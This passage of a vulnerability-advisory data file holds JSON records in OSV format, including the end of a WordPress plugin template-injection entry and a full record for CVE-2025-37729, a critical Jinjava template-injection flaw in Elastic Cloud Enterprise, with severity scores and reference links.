    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/integration-dynamics/trunk/src/Shortcode/Twig.php#L53"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3210927"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7f3dac5a-9ff8-4e8c-8c73-422123e121d8?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-37729"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-13T14:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "Improper neutralization of special elements used in a template engine in Elastic Cloud Enterprise (ECE) can lead to a malicious actor with Admin access exfiltrating sensitive information and issuing commands via a specially crafted string where Jinjava variables are evaluated.",
  "id": "GHSA-9w6c-7rw2-2w66",
  "modified": "2025-10-13T15:31:18Z",
  "published": "2025-10-13T15:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37729"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/elastic-cloud-enterprise-ece-3-8-2-and-4-0-2-security-update-esa-2025-21/382641"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}